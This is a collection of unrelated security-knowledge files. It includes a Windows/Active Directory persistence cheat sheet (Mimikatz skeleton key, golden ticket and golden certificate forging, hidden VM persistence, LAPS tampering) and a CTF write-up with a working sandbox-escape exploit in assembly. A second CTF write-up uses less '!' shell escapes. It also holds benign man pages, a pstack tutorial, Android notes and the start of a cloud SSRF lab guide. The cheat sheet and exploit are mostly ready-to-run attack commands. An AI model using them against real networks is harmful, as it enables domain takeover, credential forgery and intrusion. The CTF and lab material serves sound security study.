Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>
# Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
```
### Virtual Machines
> Based on the Shadow Bunny technique.
```ps1
# download virtualbox
Invoke-WebRequest "https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-137981-Win.exe" -OutFile $env:TEMP\VirtualBox-6.1.8-137981-Win.exe
# perform a silent install and avoid creating desktop and quick launch icons
VirtualBox-6.0.14-133895-Win.exe --silent --ignore-reboot --msiparams VBOX_INSTALLDESKTOPSHORTCUT=0,VBOX_INSTALLQUICKLAUNCHSHORTCUT=0
# in \Program Files\Oracle\VirtualBox\VBoxManage.exe
# Disabling notifications
.\VBoxManage.exe setextradata global GUI/SuppressMessages "all"
# Download the Virtual machine disk
Copy-Item \\smbserver\images\shadowbunny.vhd $env:USERPROFILE\VirtualBox\IT Recovery\shadowbunny.vhd
# Create a new VM
$vmname = "IT Recovery"
.\VBoxManage.exe createvm --name $vmname --ostype "Ubuntu" --register
# Add a network card in NAT mode
.\VBoxManage.exe modifyvm $vmname --ioapic on # required for 64bit
.\VBoxManage.exe modifyvm $vmname --memory 1024 --vram 128
.\VBoxManage.exe modifyvm $vmname --nic1 nat
.\VBoxManage.exe modifyvm $vmname --audio none
.\VBoxManage.exe modifyvm $vmname --graphicscontroller vmsvga
.\VBoxManage.exe modifyvm $vmname --description "Shadowbunny"
# Mount the VHD file
.\VBoxManage.exe storagectl $vmname -name "SATA Controller" -add sata
.\VBoxManage.exe storageattach $vmname -comment "Shadowbunny Disk" -storagectl "SATA Controller" -type hdd -medium "$env:USERPROFILE\VirtualBox VMs\IT Recovery\shadowbunny.vhd" -port 0
# Start the VM
.\VBoxManage.exe startvm $vmname –type headless
# optional - adding a shared folder
# require: VirtualBox Guest Additions
.\VBoxManage.exe sharedfolder add $vmname -name shadow_c -hostpath c:\ -automount
# then mount the folder in the VM
sudo mkdir /mnt/c
sudo mount -t vboxsf shadow_c /mnt/c
```
### Windows Subsystem for Linux
```ps1
# List and install online packages
wsl --list --online
wsl --install -d kali-linux
# Use a local package
wsl --set-default-version 2
curl.exe --insecure -L -o debian.appx https://aka.ms/wsl-debian-gnulinux
Add-AppxPackage .\debian.appx
# Run the machine as root
wsl kali-linux --user root
```
## Domain
### User Certificate
```ps1
# Request a certificate for the User template
.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User
# Convert the certificate for Rubeus
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Request a TGT using the certificate
.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!
```
### Golden Certificate
> Require elevated privileges in the Active Directory, or on the ADCS machine
* Export CA as p12 file: `certsrv.msc` > `Right Click` > `Back up CA...`
* Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER
```ps1
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export
```
* Alternative 2: Using SharpDPAPI, then convert the certificate: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`
* [ForgeCert](https://github.com/GhostPack/ForgeCert) - Forge a certificate for any active domain user using the CA certificate
```ps1
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
```
* Finally you can request a TGT using the Certificate
```ps1
Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
```
### Golden Ticket
> Forge a Golden ticket using Mimikatz
```ps1
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```
### LAPS Persistence
To prevent a machine to update its LAPS password, it is possible to set the update date in the futur.
```ps1
Set-DomainObject -Identity <target_machine> -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
## References
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo)
* [IIS Raid – Backdooring IIS Using Native Modules - 19/02/2020](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/)
* [Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa](https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html)
* [Persistence - Checklist - @netbiosX](https://github.com/netbiosX/Checklists/blob/master/Persistence.md)
* [Persistence – Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/)
* [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/)
* [Persistence – Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)
* [Persistence – Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)
* [Golden Certificate - NOVEMBER 15, 2021](https://pentestlab.blog/2021/11/15/golden-certificate/)
* [Beware of the Shadowbunny - Using virtual machines to persist and evade detections - Sep 23, 2020 - wunderwuzzi](https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/)
* [Persistence via WMI Event Subscription - Elastic Security Solution](https://www.elastic.co/guide/en/security/current/persistence-via-wmi-event-subscription.html)
|
sec-knowleage
|
# Sandbox Compat (pwn 420p, 5 solved)
> x86 memory segmentation is easy, just put everything untrusted under 4G.
In the task we get [64-bit Linux executable](sandbox) of the server application with its full source code.
The challenge name and description suggest that the application implements a sandbox.
Additional details presented once we connect confirm this:
```
$ nc sandbox-compat.ctfcompetition.com 1337
beef0000-bef00000 rw-p 00000000 00:00 0
dead0000-dead1000 r-xp 00000000 00:00 0
fffff000-100001000 r-xp 00000000 00:00 0
[*] gimme some x86 32-bit code!
```
Sandboxes are applications designed to execute untrusted code in restricted environment.
Solving sandbox challenges typically requires bypassing some of these restrictions.
So let's undestand how this particular sandbox works and what restrictions are implemented.
## Sandbox Details
We start by inspecting `main` function from the provided source code that nicely represents overall structure of the application:
```
int main(void)
{
...
setup_userland();
setup_kernelland();
check_proc_maps(1);
install_seccomp();
go();
return 0;
}
```
Now, we can examine each of the steps.
### Userland Setup
The subroutine `setup_userland` starts by configuring the local descriptor table (LDT):
```
struct user_desc desc;
...
memset(&desc, 0, sizeof(desc));
desc.entry_number = 1;
desc.base_addr = 0;
desc.limit = (1L << 32) - 1;
desc.seg_32bit = 1;
desc.contents = 2; /* MODIFY_LDT_CONTENTS_CODE */
desc.read_exec_only = 0;
desc.limit_in_pages = 1;
desc.seg_not_present = 0;
desc.useable = 1;
```
and making it available for the current processes:
```
if (modify_ldt(1, &desc, sizeof(desc)) != 0)
err(1, "failed to setup 32-bit segment");
```
The local descriptor table is a data structure used by x86-family to define memory areas available for the program.
When `modify_ldt` is called, the Linux kernel validates the passed structure and creates new descriptor table for our process.
By loading the corresponding segment selector into CS segment register, the processor is be able to execute 32-bit code within our 64-bit process.
The value of segment selector encodes entry_number, which of the tables to use and requested privilege level:
```
struct selector {
unsinged int requested_privilege_level:2; /* 3 is used by used mode in Linux */
unsinged int table:1; /* 1 for LDT, 0 for GDT */
unsinged int entry_number:13;
};
```
Selector values relavant for our application are:
* 0x0F for the registered descriptor (requested_privilege_level=3, table=1, entry_number=1)
* 0x33 for standard descriptor GDT_ENTRY_DEFAULT_USER_CS
By loading these descriptors, the application can switch between 32-bit and 64-bit mode.
A hidden detail in the sandbox source code is implicit initialization of `user_desc.lm` field that actually controls if the code should execute as 64-bit or 32-bit.
Fortunately the field is initialized as zero with `memset`.
Next, the subroutine prepares page with the following trampoline code at the end of 32-bit address space, setting permissions PROT_READ | PROT_EXEC:
```
BITS 32
...
jmp trampoline
...
;; trampoline to 64-bit code
;; there is a NOP at 0xffffffff, followed by kernel entry
trampoline:
jmp dword 0x33:0xffffffff
```
The above code is used to switch to 64-bit code as explainted earlier.
Finally it allocates pages for userland code and stack:
```
/* setup page for user-supplied code */
flags = MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT | MAP_FIXED;
p = mmap(USER_CODE, PAGE_SIZE, PROT_READ | PROT_EXEC, flags, -1, 0);
if (p != USER_CODE)
err(1, "mmap");
/* setup rw pages for user stack */
flags = MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT | MAP_FIXED;
p = mmap(USER_STACK, STACK_SIZE, PROT_READ | PROT_WRITE, flags, -1, 0);
if (p != USER_STACK)
err(1, "mmap");
```
### Kernelland Setup
The subroutine `setup_kernelland` allocates single page to store kernelland entry code directly following user-mode trampoline.
It also allocates single page for kernel stack at non-fixed address:
```
flags = MAP_PRIVATE | MAP_ANONYMOUS;
stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, flags, -1, 0);
if (stack == MAP_FAILED)
err(1, "mmap");
```
In case when the Linux kernel allocates this page in low 4 GBytes, the untrusted sandbox code could potentially access and modify content of 64-bit stack.
However this issue is not explotaible:
* I'm pretty sure that Linux kernel would not allocate such page in low memory at this point of process execution,
* Even if such allocation would happen, the application will detect it later in `check_proc_maps` as will be describe bellow.
The kernel code directly following user-mode trampoline looks like that:
```
BITS 64
...
mov rax, fs
test rax, rax
jnz bad
mov rax, gs
test rax, rax
jnz bad
;; save rsp into rbx
mov rbx, rsp
;; setup stack
mov rsp, 0xdeadbeefdeaddead /* replaced with top of the stack */
push rbx
;; call kernel function
mov rax, 0xdeadbeefdeadc0de /* replaced with address of `kernel` subroutine */
call rax
;; restore rsp back to rbx
pop rbx
mov rsp, rbx
;; trampoline to 32-bit code (segment selector 0xf)
;; 0xfffffff5: ret gadget
mov rcx, 0xffffffff5
push rcx
retf
bad:
ud2
```
Where called `kernel` subroutine is implemented in C.
A very important observation about the above code is that content of `flags` register is not sanitized on transistion from userland to kernelland.
This will lead to sucessful explitation that I will demonstrate.
The called kernel implements following calls from userland:
* `__NR_read` enforcing all of read buffer within low 4 GBytes
* `__NR_write` enforcing all of write buffer within low 4 GBytes
* `__NR_open` enforcing all of pathname within low 4 GBytes and no `flag` substring in pathname
* `__NR_close`
* `__NR_mprotect` implemented as no-op
* `__NR_exit_group`
### Memory Maps Check
The subroutine `check_proc_maps` parses `/proc/self/maps` to ensure that low 4 GBytes contain only userland stack, userland code and trampoline.
This avoids any potential risks due to address space randomization on application memory and kernelland stack.
### SECCOMP Installation
The subroutine `install_seccomp` configures limit for creation of new processes:
```
struct rlimit limit;
if (getrlimit(RLIMIT_NPROC, &limit) != 0)
err(1, "getrlimit");
limit.rlim_cur = 0;
if (setrlimit(RLIMIT_NPROC, &limit) != 0)
err(1, "setrlimit");
```
That will block creation of new processes by non-root users.
Next, it installs SECCOMP filter:
```
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0)
err(1, "prctl(NO_NEW_PRIVS)");
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) != 0)
err(1, "prctl(SECCOMP)");
```
To examine actual SECCOMP rules, I simply run the provided binary with [seccomp analysis tool by david942j](https://github.com/david942j/seccomp-tools) as follows:
```
$ seccomp-tools dump ./sandbox
beef0000-bef00000 rw-p 00000000 00:00 0
dead0000-dead1000 r-xp 00000000 00:00 0
fffff000-100001000 r-xp 00000000 00:00 0
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x0000000c A = instruction_pointer >> 32
0001: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x06 0x00 0x00 0x00000000 return KILL
```
The important observation here is that `instruction_pointer` reliably prevents any syscalls from code executing in low 4 GBytes.
### Starting User Code
The subroutine `go` reads up to 4 KBytes of input into temporary buffer.
Next it calls `copy_user_code` subrountine and finally transfers control to userland:
```
asm volatile (
"movq %0, %%rax\n"
"shlq $32, %%rax\n"
"movq %1, %%rbx\n"
"orq %%rbx, %%rax\n"
"push %%rax\n"
"retf\n"
/* never reached */
"int $3\n"
:: "i"(0xf), /* ldt code segment selector. index: 1, table: 1, rpl: 3 */
"i"(USER_CODE)
: "rax", "rbx"
);
```
The called `copy_user_code` ensures that userland code cannot contain any of the following bytes:
```
static struct opcode { char *name; char opcode; } opcodes[] = {
{ "iret", 0xcf },
{ "far jmp", 0xea },
{ "far call", 0x9a },
{ "far ret", 0xca },
{ "far ret", 0xcb },
{ "far jmp/call", 0xff },
{ NULL, 0x00 },
};
```
This blocks all well-known instructions to reload CS segment register.
In case CS segment register could be somehow loaded by user code, e.g. due to potential validation bugs, by using less-known or undocumented instructions or via self-modifying code, we could bypass restrictions on `__NR_open` and `__NR_mprotect` that are implemented by kernelmode.
I wasn't able to indentify any method to perform such CS reload.
Next, the subroutine copies validated code to userland code page and sets permissions to ensure that code cannot be modified:
```
if (mprotect(USER_CODE, PAGE_SIZE, PROT_READ | PROT_EXEC) != 0)
err(1, "mprotect");
```
## Exploitation
I identified only one issue during code review, where the `flags` register is not sanitized during transistion from userland to kernelland.
The potential exploitation scenario is setting `direction flag` (DF) in order to change semantics of some *string instructions* during kernelland execution.
Searching for `rep` prefix in provided binary gives interesting fragment from `path_ok` subroutine:
```
0000000000001340 <path_ok.part.0>:
...
1376: f3 48 a5 rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
```
The above corresponds to `memcpy` instruction during pathname validation code of `__NR_open`:
```
int path_ok(char *pathname, const char *p)
{
if (!access_ok(p, MAX_PATH))
return 0;
memcpy(pathname, p, MAX_PATH);
pathname[MAX_PATH - 1] = '\x00';
if (strstr(pathname, "flag") != NULL)
return 0;
return 1;
}
```
The passed `pathname` buffer is allocated on `op_open` stack frame.
With `direction flag` set, the `rep movs` code decrements `rdi` and `rsi` registers on each iteration.
After coping the first qword of userland-supplied data into start of `pathname`, it continues to preceding stack addresses.
This vulnerability allows for controlling over 200 bytes (almost MAX_PATH) on stack just before allocated `pathname` buffer.
Running sandbox under debugger with trivial PoC userland code confirm ability to overwrite `op_open` return address.
This can be exploted as follows to execute user-supplied code in 64-bit mode:
```
entry:
mov esp, 0xbef00000
sub esp, 0x200
std
push 0
push 0xdead0000 + hijack_64 - entry
mov edi, 2 /* __NR_open */
lea esi, [esp + 8] /* path */
xor eax, eax /* mov eax, 0xfffff000 */
dec eax
shl eax, 12
push eax
ret
hijack_64:
/* Any code to execute in 64-bit mode */
```
Once in 64-bit mode, we can bypass SECCOMP `instruction_pointer` rule by executing pre-existing gadgets located above 4 GBytes.
One of the available gadgets is `syscall@plt` from the sandbox binary:
```
0000000000000ce0 <syscall@plt>:
ce0: ff 25 9a 22 20 00 jmp QWORD PTR [rip+0x20229a] # 202f80 <syscall@GLIBC_2.2.5>
```
Using this gadget we can construct following code to read `flag` file:
```
hijack_64:
movabs rax, 0x10000001e /* address of kernel subroutine in kernelland entry page */
mov rbp, [rax]
sub rbp, 0x760 /* move back to syscall@plt */
/* open(pathname, O_RDONLY) */
mov rdi, __NR_open
lea rsi, [rip + pathname]
mov rdx, O_RDONLY
call syscall_gadget
/* read(rax, rsp, 0x100) */
mov rdi, __NR_read
mov rsi, rax
mov rdx, rsp
mov rcx, 0x100
call syscall_gadget
/* write(1, rsp, rax) */
mov rdi, __NR_write
mov rsi, 1
mov rdx, rsp
mov rcx, 0x100
/* fall-through */
syscall_gadget:
push rbp
ret
pathname:
.asciz "flag"
```
Running full exploit against CTF server gives the flag:
```
$ ./exploit.py
[+] Opening connection to sandbox-compat.ctfcompetition.com on port 1337: Done
[DEBUG] Received 0x29 bytes:
'beef0000-bef00000 rw-p 00000000 00:00 0 \n'
[DEBUG] Received 0x73 bytes:
'dead0000-dead1000 r-xp 00000000 00:00 0 \n'
'fffff000-100001000 r-xp 00000000 00:00 0 \n'
'[*] gimme some x86 32-bit code!\n'
...
[DEBUG] Sent 0x24 bytes:
00000000 bc 00 00 f0 be 81 ec 00 02 00 00 fd 6a 00 68 24 │····│····│····│j·h$│
00000010 00 ad de bf 02 00 00 00 8d 74 24 08 31 c0 48 c1 │····│····│·t$·│1·H·│
00000020 e0 0c 50 c3 │··P·││
00000024
[DEBUG] Sent 0x66 bytes:
00000000 48 b8 1e 00 00 00 01 00 00 00 48 8b 28 48 81 ed │H···│····│··H·│(H··│
00000010 60 07 00 00 48 c7 c7 02 00 00 00 48 8d 35 3f 00 │`···│H···│···H│·5?·│
00000020 00 00 48 c7 c2 00 00 00 00 e8 31 00 00 00 48 c7 │··H·│····│··1·│··H·│
00000030 c7 00 00 00 00 48 89 c6 48 89 e2 48 c7 c1 00 01 │····│·H··│H··H│····│
00000040 00 00 e8 18 00 00 00 48 c7 c7 01 00 00 00 48 c7 │····│···H│····│··H·│
00000050 c6 01 00 00 00 48 89 e2 48 c7 c1 00 01 00 00 55 │····│·H··│H···│···U│
00000060 c3 66 6c 61 67 00 │·fla│g·│
00000066
[DEBUG] Sent 0x8 bytes:
'deadbeef'
[DEBUG] Received 0x17 bytes:
'[*] received 146 bytes\n'
[DEBUG] Received 0x110 bytes:
00000000 5b 2a 5d 20 6c 65 74 27 73 20 67 6f 2e 2e 2e 0a │[*] │let'│s go│...·│
00000010 43 54 46 7b 48 65 6c 6c 30 5f 4e 34 43 6c 5f 49 │CTF{│Hell│0_N4│Cl_I│
00000020 73 73 75 65 5f 35 31 21 7d 0a 00 00 00 00 00 00 │ssue│_51!│}···│····│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000110
[*] flag = "CTF{Hell0_N4Cl_Issue_51!}"
[*] Closed connection to sandbox-compat.ctfcompetition.com port 1337
```
## Conclusion
Overall very interesting challenge demonstrating one of the most obscure features of basic CPU functionality that we almost always take for granted: the `flags` register.
|
sec-knowleage
|
.TH PROTOCOLS 5 "1995 年 10 月 18 日" "Linux" "Linux 程序员手册"
.SH NAME 名称
protocols \- 协议定义文件
.SH 描述
该文件为普通 ASCII 文件,它描述了 TCP/IP 子系统中各类 DARPA internet 协议族.
你应该参考这个文件, 而不是使用 ARPA 的 include 文件中的号码, 更不必去猜测它们.
这些号码将出现在任何 ip 包头的协议字段中.
你应该保持这个文件不变, 因为修改会导致不正确的 ip 包.
协议号码和名字由 DDN 网络信息中心指定.
每行的格式如下:
.RS
.I 协议 号码 别名 ...
.RE
这里的字段以空格或者 tab 键分隔. 空行和以散列符 (#) 开头的行将忽略.
从散列符起始的行的剩余部分也将忽略.
字段描述如下:
.TP
.I 协议
协议的本名.例如 :ip, tcp 或者 udp.
.TP
.I 号码
协议的正式号码, 它将出现在 ip 包头中.
.TP
.I 别名
协议的可选别名.
.LP
该文件也可以使用网络范围中的名字服务,如黄页/NIS 或 BIND/Hesoid,
在网络分发.
.SH 文件
.TP
.I /etc/protocols
协议定义文件.
.SH 参见
.BR getprotoent (3)
黄页服务的指南
BIND/Hesiod 服务的指南
.SH "[中文版维护人]"
.B riser <boomer@ccidnet.com>
.SH "[中文版最新更新]"
.B 2000/11/6
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
.br
|
sec-knowleage
|
# MOAR
PWN
## Description:
> Finding yourself on the Foobanizer9000, a computer built by 9000 foos, this computer is so complicated luckily it serves manual pages through a network service. As the old saying goes, everything you need is in the manual.
>
> nc moar.ctfcompetition.com 1337
## Solution:
Connecting to the provided server greets us with the man page for `socat`.
```
root@kali:/media/sf_CTFs/google/moar# nc moar.ctfcompetition.com 1337
socat(1) socat(1)
NAME
socat - Multipurpose relay (SOcket CAT)
SYNOPSIS
socat [options] <address> <address>
socat -V
socat -h[h[h]] | -?[?[?]]
filan
procan
DESCRIPTION
Socat is a command line based utility that establishes two bidirec-
tional byte streams and transfers data between them. Because the
streams can be constructed from a large set of different types of data
sinks and sources (see address types), and because lots of address
options may be applied to the streams, socat can be used for many dif-
ferent purposes.
Filan is a utility that prints information about its active file
descriptors to stdout. It has been written for debugging socat, but
might be useful for other purposes too. Use the -h option to find more
Manual page socat(1) line 1 (press h for help or q to quit)
```
[`man`](https://linux.die.net/man/1/man) uses [`less`](https://linux.die.net/man/1/less) to display the manual page, and `less` can trigger shell commands using the exclamation mark syntax:
>! shell-command
>
> Invokes a shell to run the shell-command given. A percent sign (%) in the command is replaced by the name of the current file. A pound sign (#) is replaced by the name of the previously examined file. "!!" repeats the last shell command. "!" with no shell command simply invokes a shell. On Unix systems, the shell is taken from the environment variable SHELL, or defaults to "sh". On MS-DOS and OS/2 systems, the shell is the normal command processor.
Using this, we can easily access the flag:
```
root@kali:/media/sf_CTFs/google/moar# nc moar.ctfcompetition.com 1337
socat(1) socat(1)
NAME
socat - Multipurpose relay (SOcket CAT)
SYNOPSIS
socat [options] <address> <address>
socat -V
socat -h[h[h]] | -?[?[?]]
filan
procan
DESCRIPTION
Socat is a command line based utility that establishes two bidirec-
tional byte streams and transfers data between them. Because the
streams can be constructed from a large set of different types of data
sinks and sources (see address types), and because lots of address
options may be applied to the streams, socat can be used for many dif-
ferent purposes.
Filan is a utility that prints information about its active file
descriptors to stdout. It has been written for debugging socat, but
might be useful for other purposes too. Use the -h option to find more
Manual page socat(1) line 1 (press h for help or q to quit)!ls
!ls
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
!done (press RETURN)!ls home
!ls home
moar
!done (press RETURN)!ls /home/moar
!ls /home/moar
disable_dmz.sh
!done (press RETURN)!/home/moar/disable_dmz.sh
!/home/moar/disable_dmz.sh
Disabling DMZ using password CTF{SOmething-CATastr0phic}
/home/moar/disable_dmz.sh: 18: /home/moar/disable_dmz.sh: cannot create /dev/dmz: Read-only file system
!done (press RETURN)root@kali:/media/sf_CTFs/google/moar#
```
|
sec-knowleage
|
pstack
===
显示每个进程的栈跟踪
## 补充说明
**pstack命令** 可显示每个进程的栈跟踪。<kbd>pstack</kbd> 命令必须由相应进程的属主或 <tt>root</tt> 运行。可以使用 <kbd>pstack</kbd> 来确定进程挂起的位置。此命令允许使用的唯一选项是要检查的进程的 <tt>PID</tt>。
命令软件包下载地址:https://packages.debian.org/sid/pstack
### 实例
pstree以树结构显示进程
```shell
pstree -p work | grep ad
sshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552)
|-{ad_preprocess}(4553)
|-{ad_preprocess}(4554)
|-{ad_preprocess}(4555)
|-{ad_preprocess}(4556)
`-{ad_preprocess}(4557)
```
work为工作用户,-p为显示进程识别码,ad_preprocess共启动了6个子线程,加上主线程共7个线程。
```shell
ps -Lf 4551
UID PID PPID LWP C NLWP STIME TTY stat time CMD
work 4551 22670 4551 2 7 16:30 pts/2 Sl+ 0:02 ./ad_preprocess
work 4551 22670 4552 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess
work 4551 22670 4553 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess
work 4551 22670 4554 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess
work 4551 22670 4555 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess
work 4551 22670 4556 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess
work 4551 22670 4557 0 7 16:30 pts/2 Sl+ 0:00 ./ad_preprocess
```
进程共启动了7个线程
pstack显示每个进程的栈跟踪:
```shell
pstack 4551
Thread 7 (Thread 1084229984 (LWP 4552)):
#0 0x000000302afc63dc in epoll_wait () from /lib64/tls/libc.so.6
#1 0x00000000006f0730 in ub::EPollEx::poll ()
#2 0x00000000006f172a in ub::NetReactor::callback ()
#3 0x00000000006fbbbb in ub::UBTask::CALLBACK ()
#4 0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
#5 0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
#6 0x0000000000000000 in ?? ()
Thread 6 (Thread 1094719840 (LWP 4553)):
#0 0x000000302afc63dc in epoll_wait () from /lib64/tls/libc.so.6
#1 0x00000000006f0730 in ub::EPollEx::poll ()
#2 0x00000000006f172a in ub::NetReactor::callback ()
#3 0x00000000006fbbbb in ub::UBTask::CALLBACK ()
#4 0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
#5 0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
#6 0x0000000000000000 in ?? ()
Thread 5 (Thread 1105209696 (LWP 4554)):
#0 0x000000302b80baa5 in __nanosleep_nocancel ()
#1 0x000000000079e758 in comcm::ms_sleep ()
#2 0x00000000006c8581 in ub::UbClientManager::healthyCheck ()
#3 0x00000000006c8471 in ub::UbClientManager::start_healthy_check ()
#4 0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
#5 0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
#6 0x0000000000000000 in ?? ()
Thread 4 (Thread 1115699552 (LWP 4555)):
#0 0x000000302b80baa5 in __nanosleep_nocancel ()
#1 0x0000000000482b0e in armor::armor_check_thread ()
#2 0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
#3 0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
#4 0x0000000000000000 in ?? ()
Thread 3 (Thread 1126189408 (LWP 4556)):
#0 0x000000302af8f1a5 in __nanosleep_nocancel () from /lib64/tls/libc.so.6
#1 0x000000302af8f010 in sleep () from /lib64/tls/libc.so.6
#2 0x000000000044c972 in Business_config_manager::run ()
#3 0x0000000000457b83 in Thread::run_thread ()
#4 0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
#5 0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
#6 0x0000000000000000 in ?? ()
Thread 2 (Thread 1136679264 (LWP 4557)):
#0 0x000000302af8f1a5 in __nanosleep_nocancel () from /lib64/tls/libc.so.6
#1 0x000000302af8f010 in sleep () from /lib64/tls/libc.so.6
#2 0x00000000004524bb in Process_thread::sleep_period ()
#3 0x0000000000452641 in Process_thread::run ()
#4 0x0000000000457b83 in Thread::run_thread ()
#5 0x000000302b80610a in start_thread () from /lib64/tls/libpthread.so.0
#6 0x000000302afc6003 in clone () from /lib64/tls/libc.so.6
#7 0x0000000000000000 in ?? ()
Thread 1 (Thread 182894129792 (LWP 4551)):
#0 0x000000302af8f1a5 in __nanosleep_nocancel () from /lib64/tls/libc.so.6
#1 0x000000302af8f010 in sleep () from /lib64/tls/libc.so.6
#2 0x0000000000420d79 in Ad_preprocess::run ()
#3 0x0000000000450ad0 in main ()
```
|
sec-knowleage
|
### Android 中 Java 层的运行机制
本部分主要关注 Android 中 Java 层代码的运行机制,主要介绍
- Java 虚拟机,从宏观角度即程序执行流程来考虑 Java 代码是如何被执行的。
- Smali 代码,从微观角度即指令级别考虑 Java 代码是如何对应到 Java 虚拟机中的指令。
- Java 层可执行文件,考虑 Java 虚拟机的对应可执行文件的具体格式。
|
sec-knowleage
|
---
title: 阿里云控制台接管
---
<center><h1>从云服务器 SSRF 漏洞到接管你的阿里云控制台</h1></center>
---
## 0x00 前言
本文将以阿里云为例,对云服务中的一些攻防手法进行演示,首先利用 Terraform 进行 ECS SSRF 漏洞环境的搭建,然后通过实例中存在的 SSRF 漏洞一步步拿下该云服务账户的所有的阿里云服务权限。
## 0x01 环境搭建
本文采用 TerraformGoat 进行靶场的搭建,TerraformGoat 靶场地址:[https://github.com/HuoCorp/TerraformGoat](https://github.com/HuoCorp/TerraformGoat)
在部署靶场时,需要用到你的阿里云 AccessKey,为了避免影响到你的云上生产环境,因此这里强烈建议使用非生产环境的 AccessKey,不要和生产环境使用同一个账号。
> 由于 TerraformGoat 工具的迭代更新,下述环境搭建的方法已失效,现在部署的方法更加方便友好,具体部署方法请参见上面的 TerraformGoat 靶场地址。
接下来开始搭建靶场,首先克隆靶场项目到本地,并构建下载靶场所需的依赖。
```bash
git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1
cd TerraformGoat
docker build . -t terraformgoat:v0.0.3
docker run -itd --name terraformgoat terraformgoat:v0.0.3
docker exec -it terraformgoat /bin/bash
```
如果 github 访问较慢,可以给终端挂上代理
```bash
proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url
```
在进入容器后,容器会提示选择接下来要使用的云服务提供商,这里以阿里云服务为例,输入 2 选择阿里云后回车。
<img width="800" src="/img/1654511605.png"></br>
进入到阿里云 ECS SSRF 靶场路径下,并配置你的 AccessKey
```bash
cd /TerraformGoat/aliyun/ecs/ecs_ssrf/
aliyun configure
```
<img width="800" src="/img/1654511641.png"></br>
部署 SSRF 靶场
```bash
terraform init
